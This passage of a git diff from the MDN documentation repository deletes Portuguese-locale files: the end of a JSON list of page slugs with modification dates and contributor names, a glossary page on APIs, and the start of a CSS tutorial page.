- "joaonunomota"
- ]
- },
- "Web/MathML/Examples/Deriving_the_Quadratic_Formula": {
- "modified": "2020-08-16T17:37:40.689Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Examples/MathML_Pythagorean_Theorem": {
- "modified": "2020-08-16T17:39:52.993Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/MathML/Index": {
- "modified": "2020-08-16T17:30:38.516Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "Web/OpenSearch": {
- "modified": "2019-03-24T00:00:54.849Z",
- "contributors": [
- "tregagnon",
- "Verruckt",
- "Rodrigoknascimento"
- ]
- },
- "Web/Progressive_web_apps": {
- "modified": "2020-04-23T09:44:00.269Z",
- "contributors": [
- "Anonymous",
- "chrisdavidmills"
- ]
- },
- "Web/Progressive_web_apps/Developer_guide": {
- "modified": "2020-04-23T09:38:24.576Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/Progressive_web_apps/Responsive/Media_types": {
- "modified": "2019-03-24T00:15:51.724Z",
- "contributors": [
- "Anonymous",
- "fscholz",
- "teoli",
- "maggots",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": {
- "modified": "2019-04-16T06:29:21.711Z",
- "contributors": [
- "diogo-panaca"
- ]
- },
- "Web/Reference": {
- "modified": "2020-07-20T13:13:52.229Z",
- "contributors": [
- "joaonunomota",
- "Anonymous",
- "carlosrainhaaraujo",
- "kscarfone"
- ]
- },
- "Web/Reference/API": {
- "modified": "2019-03-23T23:22:11.761Z",
- "contributors": [
- "Anonymous",
- "carlosrainhaaraujo"
- ]
- },
- "Web/SVG": {
- "modified": "2020-04-23T09:30:08.420Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "guerreirogabriel",
- "fscholz",
- "Verruckt",
- "RuiMaciel"
- ]
- },
- "Web/SVG/Applying_SVG_effects_to_HTML_content": {
- "modified": "2019-03-23T22:01:45.461Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/SVG/Element": {
- "modified": "2020-04-23T09:28:28.562Z",
- "contributors": [
- "Anonymous",
- "ricardomartins"
- ]
- },
- "Web/SVG/Namespaces_Crash_Course": {
- "modified": "2019-03-23T22:01:50.555Z",
- "contributors": [
- "Anonymous",
- "somascope"
- ]
- },
- "Web/SVG/Namespaces_Crash_Course/Example": {
- "modified": "2019-03-23T22:01:57.842Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/SVG/SVG_animation_with_SMIL": {
- "modified": "2020-04-23T08:20:39.391Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/SVG/Tutorial": {
- "modified": "2019-01-16T14:01:46.161Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "guerreirogabriel"
- ]
- },
- "Web/SVG/Tutorial/Introduction": {
- "modified": "2020-04-23T09:22:08.765Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/SVG/Tutorial/SVG_In_HTML_Introduction": {
- "modified": "2019-03-23T22:01:48.509Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/SVG/Tutorial/SVG_and_CSS": {
- "modified": "2019-03-24T00:00:34.584Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "Web/Security": {
- "modified": "2019-09-10T16:45:22.612Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous"
- ]
- },
- "Web/Security/Insecure_passwords": {
- "modified": "2019-03-23T22:01:41.675Z",
- "contributors": [
- "rborges77",
- "Anonymous"
- ]
- },
- "Web/Security/Mixed_content": {
- "modified": "2019-03-23T22:05:48.971Z",
- "contributors": [
- "Anonymous",
- "sideshowbarker"
- ]
- },
- "Web/Security/Mixed_content/How_to_fix_website_with_mixed_content": {
- "modified": "2019-03-23T22:05:54.761Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/Security/Same-origin_policy": {
- "modified": "2020-09-26T17:57:02.589Z",
- "contributors": [
- "Samuel-Ferdnand"
- ]
- },
- "Web/Security/Secure_Contexts": {
- "modified": "2019-03-23T22:01:19.367Z",
- "contributors": [
- "Anonymous",
- "Sheppy"
- ]
- },
- "Web/Tutorials": {
- "modified": "2020-05-03T14:51:14.988Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "Web/Web_Components": {
- "modified": "2019-08-20T17:28:31.563Z",
- "contributors": [
- "filipe095",
- "Anonymous"
- ]
- },
- "Web/XML": {
- "modified": "2020-04-23T08:26:21.649Z",
- "contributors": [
- "Anonymous",
- "ExE-Boss"
- ]
- },
- "Web/XML/XML_introduction": {
- "modified": "2019-05-01T21:54:16.756Z",
- "contributors": [
- "ExE-Boss",
- "Anonymous"
- ]
- },
- "Web/XSLT": {
- "modified": "2019-03-24T00:03:57.070Z",
- "contributors": [
- "ExE-Boss",
- "Anonymous",
- "fscholz",
- "Verruckt",
- "RuiMaciel"
- ]
- },
- "WebAssembly": {
- "modified": "2020-10-15T22:07:45.071Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "WebAssembly/Using_the_JavaScript_API": {
- "modified": "2019-03-18T21:28:49.091Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "conflicting/Glossary/API": {
- "modified": "2020-10-25T11:15:06.759Z",
- "contributors": [
- "Zamalor",
- "joaonunomota",
- "Anonymous"
- ]
- },
- "conflicting/Learn/CSS/First_steps/How_CSS_works": {
- "modified": "2019-03-24T00:00:33.943Z",
- "contributors": [
- "Sebastianz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier",
- "Pilinio"
- ]
- },
- "conflicting/Learn/CSS/First_steps/How_CSS_works_0767812f50daab83155d62da97c6e460": {
- "modified": "2019-03-24T00:00:39.116Z",
- "contributors": [
- "fscholz",
- "teoli",
- "Verruckt",
- "Leandro Mercês Xavier",
- "Pilinio"
- ]
- },
- "conflicting/MDN/Contribute": {
- "modified": "2020-02-19T18:51:00.800Z",
- "contributors": [
- "jswisher",
- "Anonymous"
- ]
- },
- "conflicting/Web/API": {
- "modified": "2019-03-23T22:01:53.174Z",
- "contributors": [
- "Anonymous",
- "wbamberg",
- "fscholz"
- ]
- },
- "conflicting/Web/API/Web_Storage_API": {
- "modified": "2019-03-18T21:46:00.224Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "conflicting/Web/API/XMLHttpRequest": {
- "modified": "2019-03-23T23:50:48.749Z",
- "contributors": [
- "SphinxKnight",
- "Leandro Mercês Xavier",
- "RuiMaciel"
- ]
- },
- "conflicting/Web/JavaScript/Reference/Global_Objects/Number": {
- "modified": "2019-03-23T22:49:04.241Z",
- "contributors": [
- "Redeagle48"
- ]
- },
- "conflicting/Web/JavaScript/Reference/Global_Objects/Object": {
- "modified": "2020-10-15T22:13:51.986Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "conflicting/Web/Progressive_web_apps": {
- "modified": "2019-03-18T20:52:07.669Z",
- "contributors": [
- "chrisdavidmills",
- "Anonymous"
- ]
- },
- "conflicting/Web/Progressive_web_apps/Responsive/responsive_design_building_blocks": {
- "modified": "2019-03-18T20:52:08.064Z",
- "contributors": [
- "chrisdavidmills",
- "Anonymous"
- ]
- },
- "conflicting/Web/Progressive_web_apps_c5ce9d8c3500409dbf6f879e4fe3cb8a": {
- "modified": "2019-03-18T20:52:08.238Z",
- "contributors": [
- "chrisdavidmills",
- "Anonymous"
- ]
- },
- "orphaned/Acentuação_para_conteúdos_carregados_por_AJAX": {
- "modified": "2019-03-23T23:50:32.509Z",
- "contributors": [
- "Leandro Mercês Xavier",
- "JulioGreff",
- "Micox",
- "Douglas",
- "Pfsergio1968"
- ]
- },
- "orphaned/Componentes": {
- "modified": "2019-03-23T23:40:02.292Z",
- "contributors": [
- "SphinxKnight",
- "GrandeBuzina"
- ]
- },
- "orphaned/Configurando_um_servidor_de_atualização": {
- "modified": "2019-01-16T14:51:09.548Z",
- "contributors": [
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Construir_uma_Extensão": {
- "modified": "2019-03-24T00:04:05.919Z",
- "contributors": [
- "teoli",
- "fscholz",
- "Rhuanbarros",
- "Rsjuliao",
- "Horyuu1",
- "Leandro Mercês Xavier",
- "Dudaott",
- "Ecocam",
- "Toyux",
- "Verruckt",
- "Luis Henrique Sousa",
- "Mr.leal",
- "Joker pt",
- "Brunnolou",
- "Bermonruf"
- ]
- },
- "orphaned/Controles_XUL": {
- "modified": "2019-03-24T00:03:56.894Z",
- "contributors": [
- "fscholz",
- "Luis Henrique Sousa",
- "Verruckt"
- ]
- },
- "orphaned/Criando_um_visual_para_o_Firefox": {
- "modified": "2019-03-23T23:51:38.630Z",
- "contributors": [
- "SphinxKnight",
- "Milona87",
- "Thestrongergod",
- "Verruckt",
- "Camaleaun"
- ]
- },
- "orphaned/Criar_uma_pele_para_o_Firefox": {
- "modified": "2019-01-16T16:12:28.704Z",
- "contributors": [
- "MarceloGhelman",
- "Leandro Mercês Xavier",
- "Amrlima"
- ]
- },
- "orphaned/Desenhando_texto_usando_canvas": {
- "modified": "2019-03-23T23:59:25.399Z",
- "contributors": [
- "Wladimir_Palant",
- "maicon",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/FAQ_Extensões": {
- "modified": "2019-01-16T14:39:04.547Z",
- "contributors": [
- "fscholz",
- "Luis Henrique Sousa",
- "Toyux",
- "Verruckt",
- "Calebeaires"
- ]
- },
- "orphaned/Firefox_3_para_desenvolvedores": {
- "modified": "2019-01-16T14:32:08.166Z",
- "contributors": [
- "teoli",
- "fscholz",
- "Verruckt",
- "Fernandopsilveira",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Java_em_Extensões_do_Firefox": {
- "modified": "2019-03-23T23:44:51.954Z",
- "contributors": [
- "SphinxKnight",
- "RuiMaciel"
- ]
- },
- "orphaned/Javascript_orientado_a_objetos": {
- "modified": "2019-03-24T00:11:38.222Z",
- "contributors": [
- "flowck",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Learn/HTML/Forms/HTML5_updates": {
- "modified": "2019-03-24T00:05:42.238Z",
- "contributors": [
- "juliano_aguiar",
- "teoli",
- "Verruckt"
- ]
- },
- "orphaned/Localizar_descrições_de_extensões": {
- "modified": "2019-03-24T00:02:35.408Z",
- "contributors": [
- "SphinxKnight",
- "fscholz",
- "Verruckt"
- ]
- },
- "orphaned/MDN/Community": {
- "modified": "2019-09-11T08:01:31.979Z",
- "contributors": [
- "SphinxKnight",
- "Anonymous",
- "wbamberg"
- ]
- },
- "orphaned/MDN/Community/Conversations": {
- "modified": "2019-01-16T21:51:19.575Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Community/Doc_sprints": {
- "modified": "2019-03-18T21:19:58.227Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/MDN/Community/Whats_happening": {
- "modified": "2019-03-23T22:42:12.854Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Community/Working_in_community": {
- "modified": "2020-02-19T19:07:51.992Z",
- "contributors": [
- "jswisher",
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Contribute/Howto/Be_a_beta_tester": {
- "modified": "2019-03-23T22:09:29.860Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Contribute/Howto/Create_an_MDN_account": {
- "modified": "2019-03-23T22:42:11.494Z",
- "contributors": [
- "Anonymous",
- "wbamberg"
- ]
- },
- "orphaned/MDN/Contribute/Howto/Do_a_technical_review": {
- "modified": "2019-05-13T07:55:49.326Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/MDN/Contribute/Howto/Do_an_editorial_review": {
- "modified": "2019-03-23T22:20:12.878Z",
- "contributors": [
- "Anonymous",
- "wbamberg",
- "samlopes_br"
- ]
- },
- "orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page": {
- "modified": "2019-03-23T22:08:19.737Z",
- "contributors": [
- "wbamberg",
- "Saconte",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Contribute/Howto/Tag_JavaScript_pages": {
- "modified": "2019-01-17T01:35:48.693Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web": {
- "modified": "2020-02-28T22:23:56.590Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Editor": {
- "modified": "2020-09-30T15:43:23.702Z",
- "contributors": [
- "chrisdavidmills",
- "Anonymous",
- "wbamberg"
- ]
- },
- "orphaned/MDN/Editor/Basics": {
- "modified": "2020-09-30T15:43:23.869Z",
- "contributors": [
- "chrisdavidmills",
- "Anonymous",
- "wbamberg"
- ]
- },
- "orphaned/MDN/Structures/API_references": {
- "modified": "2020-09-30T12:57:10.288Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg"
- ]
- },
- "orphaned/MDN/Structures/API_references/What_does_an_API_reference_need": {
- "modified": "2020-09-30T12:57:10.634Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Tools/Page_watching": {
- "modified": "2020-09-30T16:53:22.646Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Tools/Template_editing": {
- "modified": "2020-09-30T16:53:23.123Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/MDN/Troubleshooting": {
- "modified": "2020-09-30T16:58:33.426Z",
- "contributors": [
- "chrisdavidmills",
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/Manipuladores_de_protocolo_web": {
- "modified": "2019-03-23T23:52:53.802Z",
- "contributors": [
- "Verruckt",
- "Fernandopsilveira",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Melhorias_do_Gerenciador_de_Downloads_no_Firefox_3": {
- "modified": "2019-01-16T14:39:25.788Z",
- "contributors": [
- "fscholz",
- "Verruckt"
- ]
- },
- "orphaned/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext": {
- "modified": "2019-03-18T21:03:10.522Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/Mozilla/Add-ons/WebExtensions/Package_your_extension_": {
- "modified": "2019-03-18T21:04:14.402Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension": {
- "modified": "2019-03-18T21:05:15.395Z",
- "contributors": [
- "Anonymous",
- "Nunonmac101"
- ]
- },
- "orphaned/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on": {
- "modified": "2019-03-18T20:56:20.829Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox": {
- "modified": "2019-03-18T21:03:04.634Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/Mozilla/Add-ons/WebExtensions/User_experience_best_practices": {
- "modified": "2019-03-18T21:02:27.071Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID": {
- "modified": "2019-03-18T20:47:01.907Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/O_DOM_e_o_JavaScript": {
- "modified": "2019-12-13T21:10:33.944Z",
- "contributors": [
- "wbamberg",
- "fferracioli"
- ]
- },
- "orphaned/Plugins/Flash_Activation:_Browser_Comparison": {
- "modified": "2019-03-18T20:56:19.824Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/Referência_JSDBGAPI": {
- "modified": "2019-03-23T23:44:44.830Z",
- "contributors": [
- "SphinxKnight",
- "RuiMaciel"
- ]
- },
- "orphaned/Referência_do_DOM_Gecko/Prefácio": {
- "modified": "2019-03-23T23:51:50.810Z",
- "contributors": [
- "khalid32",
- "Leandro Mercês Xavier",
- "Davis.peixoto"
- ]
- },
- "orphaned/Sobre_o_Document_Object_Model": {
- "modified": "2019-03-23T23:46:25.664Z",
- "contributors": [
- "SphinxKnight",
- "Verruckt"
- ]
- },
- "orphaned/Tinderbox": {
- "modified": "2019-03-23T23:45:30.178Z",
- "contributors": [
- "SphinxKnight",
- "Verruckt"
- ]
- },
- "orphaned/Toolkit_API": {
- "modified": "2019-01-16T16:23:47.926Z",
- "contributors": [
- "Tagl"
- ]
- },
- "orphaned/Tools/Add-ons": {
- "modified": "2020-07-16T22:36:23.718Z",
- "contributors": [
- "wbamberg"
- ]
- },
- "orphaned/Tools/Add-ons/DOM_Inspector": {
- "modified": "2020-07-16T22:36:24.733Z",
- "contributors": [
- "wbamberg",
- "SphinxKnight",
- "Anonymous",
- "teoli",
- "Verruckt"
- ]
- },
- "orphaned/Tools/Add-ons/DOM_Inspector/Introduction_to_DOM_Inspector": {
- "modified": "2020-07-16T22:36:26.057Z",
- "contributors": [
- "wbamberg",
- "Anonymous"
- ]
- },
- "orphaned/Transformar_XML_com_XSLT": {
- "modified": "2019-03-23T23:45:21.155Z",
- "contributors": [
- "SphinxKnight",
- "Verruckt"
- ]
- },
- "orphaned/Transformar_XML_com_XSLT/Para_leitura_adicional": {
- "modified": "2019-03-23T23:52:21.068Z",
- "contributors": [
- "SphinxKnight",
- "Leandro Mercês Xavier",
- "Pilinio",
- "Verruckt"
- ]
- },
- "orphaned/Tutorial_XUL": {
- "modified": "2019-03-23T23:45:36.792Z",
- "contributors": [
- "SphinxKnight",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Tutorial_XUL/Adicionando_botões": {
- "modified": "2019-03-23T23:46:29.323Z",
- "contributors": [
- "Verruckt",
- "Leandro Mercês Xavier",
- "Rodmalkav"
- ]
- },
- "orphaned/Tutorial_XUL/Criando_uma_janela": {
- "modified": "2019-03-23T23:45:36.338Z",
- "contributors": [
- "SphinxKnight",
- "jigs12",
- "Leandro Mercês Xavier",
- "Luis Henrique Sousa",
- "Verruckt",
- "Rodmalkav"
- ]
- },
- "orphaned/Tutorial_XUL/Introdução": {
- "modified": "2019-03-23T23:46:27.723Z",
- "contributors": [
- "SphinxKnight",
- "Verruckt",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Tutorial_do_Canvas": {
- "modified": "2019-01-16T14:32:07.975Z",
- "contributors": [
- "fscholz",
- "Verruckt",
- "RuiMaciel"
- ]
- },
- "orphaned/Tutorial_do_Canvas/Formas_de_desenho": {
- "modified": "2019-01-16T14:01:56.255Z",
- "contributors": [
- "guerreirogabriel"
- ]
- },
- "orphaned/Tutorial_do_Canvas/Utilização_básica": {
- "modified": "2019-03-24T00:10:34.537Z",
- "contributors": [
- "guerreirogabriel",
- "Edgarlaguiar",
- "Luiz Carlos Moraes",
- "Jes",
- "Vitor.blacks"
- ]
- },
- "orphaned/Um_pequeno_exemplo_usando_AJAX": {
- "modified": "2019-01-17T03:48:56.314Z",
- "contributors": [
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Usando_privilégios_expandidos_em_navegadores_Mozilla": {
- "modified": "2019-03-23T23:48:48.468Z",
- "contributors": [
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "orphaned/Usando_áudio_e_vídeo_no_Firefox": {
- "modified": "2019-03-24T00:00:33.796Z",
- "contributors": [
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "orphaned/Utilizando_meta_tags": {
- "modified": "2019-03-23T23:45:18.005Z",
- "contributors": [
- "eduardoungaratto",
- "AndreGazola",
- "Fleury"
- ]
- },
- "orphaned/Venkman": {
- "modified": "2019-03-24T00:02:38.559Z",
- "contributors": [
- "SphinxKnight",
- "fscholz",
- "Verruckt"
- ]
- },
- "orphaned/Web/CSS/Como_começar/O_que_é_CSS?": {
- "modified": "2019-03-23T23:43:00.605Z",
- "contributors": [
- "teoli",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Web/Guide/Events": {
- "modified": "2019-03-23T22:01:48.833Z",
- "contributors": [
- "Anonymous"
- ]
- },
- "orphaned/Web/JavaScript/Guia/Expressoes_e_Operadores": {
- "modified": "2020-03-12T19:38:04.189Z",
- "contributors": [
- "duduindo",
- "teoli",
- "italotoffolo"
- ]
- },
- "orphaned/Web/JavaScript/Guia/Introdução_ao_JavaScript": {
- "modified": "2019-03-24T00:08:50.034Z",
- "contributors": [
- "teoli",
- "Verruckt"
- ]
- },
- "orphaned/Web/JavaScript/Guia/Sobre": {
- "modified": "2019-03-24T00:08:17.375Z",
- "contributors": [
- "Anonymous",
- "teoli",
- "dancasttro",
- "Verruckt"
- ]
- },
- "orphaned/Web/JavaScript/Guia/Valores,_Variáveis_e_Literais": {
- "modified": "2019-08-21T13:40:23.925Z",
- "contributors": [
- "chibichibibr",
- "SphinxKnight",
- "teoli",
- "Verruckt"
- ]
- },
- "orphaned/Web/JavaScript/O_que_é_o_JavaScript": {
- "modified": "2019-03-23T23:53:53.371Z",
- "contributors": [
- "teoli",
- "Sheppy",
- "RafaelMS"
- ]
- },
- "orphaned/Web/JavaScript/Reference/Global_Objects/AsyncFunction/prototype": {
- "modified": "2020-10-15T22:14:24.948Z",
- "contributors": [
- "ramongr"
- ]
- },
- "orphaned/Web/MathML/Element/mglyph": {
- "modified": "2020-10-15T22:32:17.025Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "orphaned/Web/MathML/Element/mlabeledtr": {
- "modified": "2020-10-15T22:32:27.553Z",
- "contributors": [
- "joaonunomota"
- ]
- },
- "orphaned/Web/XSLT/Comunidade": {
- "modified": "2019-01-16T16:00:25.874Z",
- "contributors": [
- "ExE-Boss",
- "Leandro Mercês Xavier"
- ]
- },
- "orphaned/Web/XSLT/Elementos": {
- "modified": "2019-03-23T23:45:26.056Z",
- "contributors": [
- "ExE-Boss",
- "Verruckt"
- ]
- },
- "orphaned/XForms": {
- "modified": "2019-03-23T23:46:37.205Z",
- "contributors": [
- "Luis Henrique Sousa"
- ]
- },
- "orphaned/XForms/Controles_Customizados": {
- "modified": "2019-01-16T16:02:25.038Z",
- "contributors": [
- "Kayalemao",
- "Leandro Mercês Xavier",
- "Verruckt"
- ]
- },
- "orphaned/XForms_especiais_para_Mozilla": {
- "modified": "2019-03-23T23:56:39.810Z",
- "contributors": [
- "Verruckt",
- "Kayalemao"
- ]
- },
- "orphaned/XML_no_Mozilla": {
- "modified": "2019-11-21T20:42:12.364Z",
- "contributors": [
- "wbamberg",
- "Verruckt",
- "Victorino"
- ]
- },
- "orphaned/XPath/Eixos": {
- "modified": "2019-01-16T16:02:01.247Z",
- "contributors": [
- "Verruckt"
- ]
- },
- "orphaned/XPath/Funções": {
- "modified": "2019-01-16T16:07:00.758Z",
- "contributors": [
- "Verruckt"
- ]
- }
-}
diff --git a/files/pt-pt/conflicting/glossary/api/index.html b/files/pt-pt/conflicting/glossary/api/index.html
deleted file mode 100644
index cac9a8e45d..0000000000
--- a/files/pt-pt/conflicting/glossary/api/index.html
+++ /dev/null
@@ -1,36 +0,0 @@
----
-title: IPA
-slug: conflicting/Glossary/API
-tags:
- - Glossário
- - IPA
- - Infraestrutura
-translation_of: Glossary/API
-original_slug: Glossário/API
----
-<p>Uma IPA (Interface de Programação de Aplicação ou em inglês <em>API</em>) é um conjunto de funcionalidades e regras que existem dentro dum logiciário (a aplicação) que habilitam a interação entre o logiciário - em oposição a uma interface de utilizador humana. A IPA pode ser vista como um simples contrato (a interface) entre a aplicação que a oferece e os outros items, como os logiciários e equipamentos de terceiros.</p>
-
-<p>No desenvolvimento da <em>Web</em>, uma IPA é normalmente um conjunto de funcionalidades de código (e.g. {{glossary("method","métodos")}}, {{Glossary("property","propriedades")}}, eventos e {{Glossary("URL","URLs")}}) nas quais um desenvolvedor pode usar nas suas aplicações para interagir com os componentes do navegador dum utilizador, ou outros logiciários/equipamentos no computador do utilizador, ou sítios <em>web</em> e serviços de terceiros.</p>
-
-<p>Por exemplo:</p>
-
-<ul>
- <li>A IPA <a href="/en-US/docs/Web/API/MediaDevices/getUserMedia">getUserMedia</a> pode ser usada para obter o audio e o vídeo duma câmara <em>web, </em>no qual pode ser depois usado da maneira que o desenvolvedor quiser, por exemplo, gravar um vídeo e um áudio, transmiti-lo para outro utilizador numa chamada de conferência ou capturar imagens estáticas do vídeo.</li>
- <li>A IPA <a href="/pt-PT/docs/Web/API/Geolocation">Geolocalização</a> pode ser usada para obter a informação da localização de qualquer serviço que o utilizador tem disponível no seu dispositivo (e.g. SPG, ou em inglês <em>GPS</em>), no qual pode ser então usado em conjunto com as IPAs<a href="https://cloud.google.com/maps-platform/"> Google Maps</a> para por exemplo traçar a localização do utilizador num mapa personalizado e mostrar a este quais atrações turísticas estão na sua área.</li>
- <li>A IPAs <a href="https://developer.twitter.com/en/docs">Twitter</a> pode ser usada para obter os dados duma conta dum utilizador do <em>twitter</em>, por exemplo, para exibir os seus últimos tuítes na página <em>web</em>.</li>
- <li>A IPA <a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations</a> pode ser usada para animar partes de uma página <em>web</em> - por exemplo, para fazer imagens moverem-se à volta ou rotacionarem.</li>
-</ul>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Interface_de_programação_de_aplicações", "IPA")}} na Wikipedia</li>
-</ul>
-
-<h3 id="Referência_técnica">Referência técnica</h3>
-
-<ul>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Web/API">Referência da IPA da Web</a></li>
-</ul>
diff --git a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html b/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html
deleted file mode 100644
index e1c841d2c6..0000000000
--- a/files/pt-pt/conflicting/learn/css/first_steps/how_css_works/index.html
+++ /dev/null
@@ -1,136 +0,0 @@
----
-title: O que é CSS
-slug: conflicting/Learn/CSS/First_steps/How_CSS_works
-tags:
- - CSS:Como_começar
-translation_of: Learn/CSS/First_steps/How_CSS_works
-translation_of_original: Web/Guide/CSS/Getting_started/What_is_CSS
-original_slug: Web/CSS/Como_começar/O_que_é_CSS
----
-<p>{{Next("CSS:Como começar:Porque usar CSS")}}</p>
-
-<p>Esta página explica o que é CSS. Você cria um documento de amostra para que possa trabalhar com as páginas seguintes.</p>
-
-<h3 id="Informa.C3.A7.C3.B5es:_O_que_.C3.A9_CSS.3F" name="Informa.C3.A7.C3.B5es:_O_que_.C3.A9_CSS.3F">Informações: O que é CSS?</h3>
-
-<p>CSS é uma linguagem que especifica como os documentos são apresentados aos usuários.</p>
-
-<p>Um <em>documento</em> é uma coleção de informações estruturadas utilizando uma <em>linguagem de marcação</em>.</p>
-
-<table style="background-color: #fffff4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;">
- <caption>Exemplos</caption>
- <tbody>
- <tr>
- <td>
- <ul>
- <li>Uma página da Web como esta é um documento.<br>
- As informações que você vê em uma página da Web, geralmente, é estruturada utilizando a linguagem de marcação HTML (HyperText Markup Language - Linguagem de Marcação de Hiper Texto).</li>
- </ul>
-
- <ul>
- <li>Uma caixa de diálogo em um aplicativo Mozilla é um documento.<br>
- A interface com o usuário controla o que aparece em uma caixa de diálogo Mozilla, que é estruturada utilizando a linguagem de marcação XUL (XML User-interface Language - Linguagem de Interface do Usuário XML).</li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Neste tutorial, os quadros entitulados <strong>Mais detalhes</strong> como este logo abaixo, contêm informações opcionais. Se você está com pressa para progredir no tutorial, você pode ignorar esses quadros, retornando para lê-los posteriormente. Caso contrário, leia-os ao encontrá-los, e talvez siga os links para aprender mais.</p>
-
-<table style="background-color: #f4f4f4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
- <td>
- <p>Um documento não é igual a um arquivo. Ele pode ou não ser armazenado em um arquivo.</p>
-
- <p>Por exemplo, o documento que você está lendo agora não está armazendo em um arquivo. Quando seu navegador da Web solicita esta página, o servidor consulta um banco de dados e gera o documento, reunindo partes do documento a partir de muitos arquivos. Entretanto, neste tutorial você vai trabalhar com documentos que estão armazenados em arquivos.</p>
-
- <p>Para mais informações sobre documentos e linguagens de marcação, consulte outras partes deste Web site — por exemplo:</p>
-
- <table style="background-color: inherit; margin-left: 2em;">
- <tbody>
- <tr>
- <td><a href="/pt/HTML" title="pt/HTML">HTML</a></td>
- <td>para páginas da Web</td>
- </tr>
- <tr>
- <td><a href="/pt/XML" title="pt/XML">XML</a></td>
- <td>para documentos estruturados em geral</td>
- </tr>
- <tr>
- <td><a href="/pt/SVG" title="pt/SVG">SVG</a></td>
- <td>para gráficos</td>
- </tr>
- <tr>
- <td><a href="/pt/XUL" title="pt/XUL">XUL</a></td>
- <td>para interfaces com o usuário no Mozilla</td>
- </tr>
- </tbody>
- </table>
-
- <p>Na Parte II deste tutorial você verá exemplos dessas linguagens de marcação.</p>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p><em>Apresentar</em> um documento a um usuário significa convertê-lo para uma forma que humanos possam usá-lo. O Mozilla é projetado para apresentar documentos visualmente — por exemplo, em uma tela de computador, projetor ou impressora.</p>
-
-<table style="background-color: #f4f4f4; border: 1px solid #36b; margin-bottom: 1em; padding: 1em;">
- <caption>Mais detalhes</caption>
- <tbody>
- <tr>
